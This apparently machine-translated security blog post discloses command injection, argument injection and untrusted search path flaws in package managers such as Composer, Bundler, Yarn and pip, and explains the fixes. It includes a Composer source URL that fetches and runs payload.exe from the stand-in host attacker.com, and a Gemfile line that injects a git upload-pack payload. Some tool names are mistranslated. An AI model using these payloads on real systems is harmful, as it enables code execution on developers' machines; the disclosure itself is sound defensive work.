開發人員保護工具包管理器中的三種常見漏洞
開發人員是網絡犯罪分子的一個有吸引力的目標,因為他們可以訪問公司的核心知識產權資產:源代碼。入侵它們允許攻擊者進行間諜活動或將惡意代碼嵌入公司的產品中。這甚至可以用來發動供應鏈攻擊。
現代軟件開發和幾乎所有編程語言生態系統的一個組成部分都是包管理器。它們有助于管理和下載第 3 方依賴項,因此開發人員必須確保這些依賴項不包含惡意代碼,因為它們會嵌入到他們構建的產品中。但是,管理依賴項的行為通常不被視為具有潛在風險的操作,尤其是在啟用安全選項時。
為了幫助保護開發者生態系統,我們的研究人員開始研究開發者工具,這些工具可能會被攻擊者作為攻擊目標來破壞開發者機器。在本文中,我們討論了在一些最流行的包管理器中發現的漏洞。下周的文章將描述終端和廣泛使用的代碼編輯器中使用的 Git 集成中的漏洞。
它如何影響你
作為我們研究的結果,我們在以下主流的包管理器中發現了漏洞:
- Composer 1.x < 1.10.23 和 2.x < 2.1.9(已修復,CVE-2021-41116,1 未修復)
- Bundler < 2.2.33(已修復,CVE-2021-43809)
- Bower < 1.8.13(已修復,CVE-2021-43796)
- 詩歌 < 1.1.9(已修復,CVE 待定)
- Yarn < 1.22.13(已修復,CVE 待定)
- pnpm < 6.15.1(已修復,CVE 待定)
- 點(不固定)
- Pipenv(未修復)
我們描述的攻擊可能發生在兩種不同的場景中。在這兩種情況下,受害者都需要使用上述軟件包管理器之一處理惡意文件或軟件包。這意味著無法從遠程直接針對開發人員機器發起攻擊,并且需要誘騙開發人員加載格式錯誤的文件。但是,您能否始終了解并信任您從 Internet 或公司內部存儲庫中使用的所有軟件包的所有者?
在第一種情況下,攻擊者會發布一個惡意包,然后讓受害者使用帶有該包名的 Composer 瀏覽命令。例如,這可能通過社會工程、拼寫錯誤或依賴混淆發生。我們在 Composer 中發現了屬于這種情況的命令注入漏洞。惡意包過去曾被用于其他類型的攻擊,例如流行的 JavaScript 包“ua-parser-js”去年就感染了惡意代碼。
第二種情況要求受害者首先下載攻擊者控制的文件,然后對這些文件使用易受攻擊的包管理器之一。這需要攻擊者使用社會工程或將惡意文件偷偷放入受害者信任的代碼庫中。我們發現了屬于這種情況的參數注入和不受信任的搜索路徑問題。2021 年,類似的攻擊向量已被用于針對安全研究人員。攻擊者以希望合作開展項目為借口,使用虛假 Twitter 帳戶將 Visual Studio 項目發送給受害者,這些項目在打開時會執行惡意軟件。
如果這些攻擊中的任何一個成功,攻擊者就可以在受害者的機器上運行任何命令。例如,他們可以竊取或修改敏感數據,例如源代碼或訪問令牌,從而允許攻擊者將后門或惡意軟件放入代碼中或感染受害者可以訪問的其他系統。
技術細節
在以下部分中,我們將解釋在幾個最流行的包管理器中發現的 3 種不同類型的漏洞;我們相信這些類型在包管理器中很普遍,并且這項研究可以應用于任何新目標。我們從發布惡意程序包的攻擊者可以使用的命令注入漏洞開始。然后我們看一下參數注入和不受信任的搜索路徑漏洞,這些漏洞可用于誘騙受害者執行惡意代碼。
Composer 中的命令注入
Composer 是 PHP 生態系統中領先的包管理器,是一個命令行應用程序,它實現了幾個子命令,例如status、install和remove。開發人員可以使用另一個子命令browse來輕松打開包的源代碼和文檔。它需要一個包名作為其唯一參數,然后將獲取該包的元數據并打開設置為包主頁的 URL。這是按如下方式實現的:
src/Composer/Command/HomeCommand.php:
// [...]
$support = $package->getSupport();
$url = isset($support['source']) ? $support['source'] : $package->getSourceUrl();
// [...]
if (!$url || !filter_var($url, FILTER_VALIDATE_URL)) { // ← [1]
return false;
}
// [...]
$this->openBrowser($url); // ← [2]
檢查包的源字段是否為有效 URL(在[1]處),然后在瀏覽器中打開(在[2]處)。打開機制取決于操作系統,并在前一個函數的下方實現:
當操作系統是 Windows 時,命令是start "web" explorer ""。URL 在插入命令字符串之前被轉義,但轉義函數已經在值周圍添加了雙引號。這會導致 URL 的雙重包裝,從而產生類似start "web" explorer ""http://example.com/""的命令。這導致該值在命令字符串中根本不會被轉義,從而可以插入更多命令,這稱為命令注入漏洞。
要利用這一點,攻擊者必須發布包含源 URL 的包,例如:http ://example.com/&\attacker.com\Public\payload.exe
該值滿足作為有效 URL 的條件,至少根據 PHP 的FILTER_VALIDATE_URL,但是當受害者使用帶有惡意包名稱的瀏覽命令時,會導致任意代碼執行。假設攻擊者的包名為bad-pkg,他們使用上述源 URL 將其發布到 Composer 注冊表?,F在,如果任何用戶運行composer browse bad-pkg,example.com將在他們的瀏覽器中打開,但也會在后臺靜默地從attacker.com的公共 SMB 共享中下載payload.exe并執行。這為攻擊者提供了對受害者機器的訪問權限以及發動進一步攻擊的能力。
Bundler 和 Poetry 中的參數注入
先前的漏洞是由于從用戶輸入中不安全地創建命令字符串造成的,這已被證明是一種容易出錯的方法。通常更安全的替代方法是使用參數數組而不是命令字符串,但這樣做仍然可能出錯,正如我們將在本節中學習的那樣。
當包管理器嘗試下載一個包時,它可能來自多個可能的來源。通常的來源是包管理器的本地注冊表。但大多數包管理器還支持從本地文件路徑或 Git 存儲庫安裝包。后者通常通過調用一系列 Git 命令來實現,例如git clone。
Git 是一個復雜的命令行工具,有很多選項,所以就有了Argument Injections的可能性。當參數之一應該是位置參數時,就會發生這種情況,但攻擊者可以將其變成可選參數。命令行應用程序通過檢查參數是否以破折號 ( - )開頭來確定參數是位置的還是非位置的。
讓我們以 Ruby 生態系統中的包管理器 Bundler 為例。由于它使用用戶控制的參數調用 Git 命令的方式,它很容易受到攻擊:
def checkout
# [ ]
configured_uri = configured_uri_for(uri).to_s
unless path.exist?
SharedHelpers.filesystem_access(path.dirname) do |p|
FileUtils.mkdir_p(p)
end
git_retry "clone", configured_uri, path.to_s, "--bare", "--no-hardlinks", "--quiet"
return unless extra_ref
end
# [ ]
end
git_retry函數本質上是使用提供的參數運行 Git 命令。為了讓這個例子更簡單,我們將在最后省略三個可選參數。checkout函數的正常執行會導致執行如下的 OS 命令:
exec("git", ["clone", "https://myrepo.com", "./destination-dir/"])
Git 遍歷這個參數列表,發現它們都不是以破折號開頭,假設它們都是位置參數,并將https://myrepo.com上的存儲庫克隆到目錄./destination-dir/中。
但是uri的值來自 Gemfile,因此攻擊者可能會通過創建如下所示的 Gemfile 來濫用它:
gem 'poc', git: '--upload-pack=payload.sh'
因此,uri是--upload-pack=payload.sh,這將導致git_retry運行這個 Git 命令:
exec("git", ["clone", "--upload-pack=payload.sh", "./destination-dir/"])
Git 將其理解為“將存儲庫克隆到本地路徑./destination-dir/,但使用payload.sh作為上傳包選項”。這將導致payload.sh或任何其他指定的命令的執行。
Python 生態系統中的包管理器 Poetry 也容易受到相同類型的攻擊。許多其他的包管理器實現了類似的東西,但在我們的研究中由于細微的差異而沒有發現它們是可利用的。
Yarn、Pip、Composer 等中的不可信搜索路徑
同樣,即使通過使用參數列表而不是命令字符串來避免先前的漏洞,并確保不會注入不需要的參數,還有另一件事可能會出錯。對于此類漏洞,我們首先要了解 Windows 與其他操作系統在將命令名稱解析為正確的可執行文件的方式上的區別。
當使用相對或絕對路徑執行命令時,無需解析任何內容,因為路徑是已知的。但是,如果命令只是一個名稱,那么操作系統的工作就是查找并運行與該名稱匹配的正確二進制文件。在所有主要操作系統上,可能的位置都在PATH環境變量中設置。它包含系統將在其中查找與命令名稱匹配的可執行文件的所有路徑。這種行為在所有主要操作系統中都是一致的,但 Windows 會考慮一個額外的位置:當前工作目錄。它將在所有其他位置之前在那里查找可執行文件,然后只使用PATH 。
例如,如果當前目錄中有一個名為notepad.exe的文件,并且用戶啟動了一個將執行命令notepad %localappdata%\Temp\test.txt的程序,則將執行本地notepad.exe而不是常規記事本可執行文件位于C:\Windows\system32\notepad.exe。
這是許多開發人員不知道的 Windows 怪癖,過去它導致了許多漏洞。每當程序按名稱執行命令但不確保PATH和當前目錄中的文件是安全的時,它就會創建一個不受信任的搜索路徑(CWE-426) 漏洞。
如前所述,許多包管理器允許引用來自 Git 存儲庫而不是其本地注冊表的包。因為檢查 Git 存儲庫需要一些復雜的工作,所以這些包管理器不會自己實現這些,而只是運行將為它們完成工作的 Git 命令。
查看 JavaScript 生態系統中流行的包管理器 Yarn,從 Git 存儲庫聲明依賴項將導致package.json文件如下所示:
{
"dependencies": {
"example": "git+https://github.com/example/example"
}
}
運行yarn install時,Yarn 會通過 Git 從 GitHub下載示例包。在內部,它將為此使用命令git clone git+ https://github.com/example/example。請注意,Git 是按名稱調用的,而不是使用相對或絕對路徑,因此當在包含不受信任文件的目錄中執行命令時,這會產生不受信任的搜索路徑漏洞。如果目錄中有git.exe文件,那么它將被執行而不是安裝的 Git,從而導致執行惡意代碼。
當然,處理不受信任的文件總是很危險的,即使用戶格外小心。通常,Yarn 的命令行選項--ignore-scripts會阻止第三方代碼的執行,但它無助于阻止此類攻擊。來自 Git 存儲庫的依賴項也可以是完全合法的,因為重要的是通過 Git 獲取它,而不是它的內容是什么。
幾個流行的包管理器受此影響,即 Yarn、pnpm、Bower、Poetry、Composer、pip 和 pipenv。Composer 的維護人員決定不解決此問題,因為他們聲明這超出了他們的威脅模型。Pip 和 Pipenv 也選擇不解決這個問題,因為根據他們的說法,攻擊者可以通過其他幾種方式在相同的攻擊場景中獲得代碼執行。
修補
為避免命令注入漏洞,我們建議僅在確實需要時才使用命令字符串。嘗試運行帶有參數列表的命令。如果您確實需要使用命令字符串,請依賴內置或受信任的第三方轉義函數,而不是編寫自己的轉義函數。確保不會像 Composer 那樣發生雙重包裝。在 PHP 中,在命令字符串中轉義 shell 參數的正確方法是使用escapeshellarg函數:
$process->execute('start "web" explorer ' . escapeshellarg($url), $output);
為避免參數注入,請確保沒有參數以破折號 ( - ) 開頭。在實際執行命令之前執行此操作,并確保在檢查和執行之間不會進一步修改參數的值,因為這在過去導致了繞過。請注意,某些 Windows 應用程序使用斜杠 ( / ) 而不是破折號來標記可選參數的開頭,因此請確保您知道您運行的命令如何解釋參數并相應地調整任何檢查。
另一種方法是在用戶控制的參數之前插入--作為單個參數。這充當分隔符并告訴程序不應將任何后續參數視為可選參數。由于這是在 POSIX 標準中定義的,因此請確保該命令符合 POSIX 標準,否則可能無法正常工作。對于 Bundler,維護人員使用它來修復漏洞:
git_retry "clone", "--bare", "--no-hardlinks", "--quiet", "--", configured_uri, path.to_s
為避免Windows 上的不受信任的搜索路徑漏洞,如果可能,最簡單的方法是在安全目錄中運行命令。這就是 Rust 的包管理器 Cargo 檢查來自 Git 存儲庫的依賴項的方式。如果命令必須在當前目錄中運行,您應該首先以安全的方式解析匹配的可執行文件的路徑,然后使用該路徑運行命令。
例如,Yarn 通過使用where命令(始終位于%WINDIR%\System32\where.exe來解析命令)修復了他們的漏洞。他們通過將一組可能的位置限制為PATH環境變量中定義的位置來排除當前目錄。這是一種實現方式:
const { join } = require('path');
const { execFile } = require('child_process');
const WHERE_PATH = join(process.env.WINDIR, 'System32', 'where.exe');
async function resolveExecutableOnWindows(name) {
return new Promise((resolve, reject) => {
execFile(WHERE_PATH, [`$PATH:${name}`], (error, stdout, stderr) => {
if (error) {
return reject(error);
}
const [ firstMatch ] = stdout.split('\r\n');
resolve(firstMatch);
});
});
}
總結
在這篇文章中,我們介紹了流行的包管理器中的三種類型的漏洞。我們舉例說明了攻擊者如何使用它們來破壞開發者機器,我們用代碼示例解釋了潛在問題,并就如何避免類似問題提出了建議。
請記住定期更新所有工具,并在處理來自未知來源的文件時保持謹慎。我們強烈建議不要在不受信任的代碼庫上使用包管理器,即使具有禁用腳本執行等安全功能。將所有第三方代碼和文件視為危險的,如果您確實需要處理它們,我們建議在一次性虛擬機中這樣做。
我們要感謝我們報告問題的所有項目的維護者。他們迅速回應了我們的建議并修復了漏洞,或者花時間與我們討論他們為什么不將某些東西視為漏洞。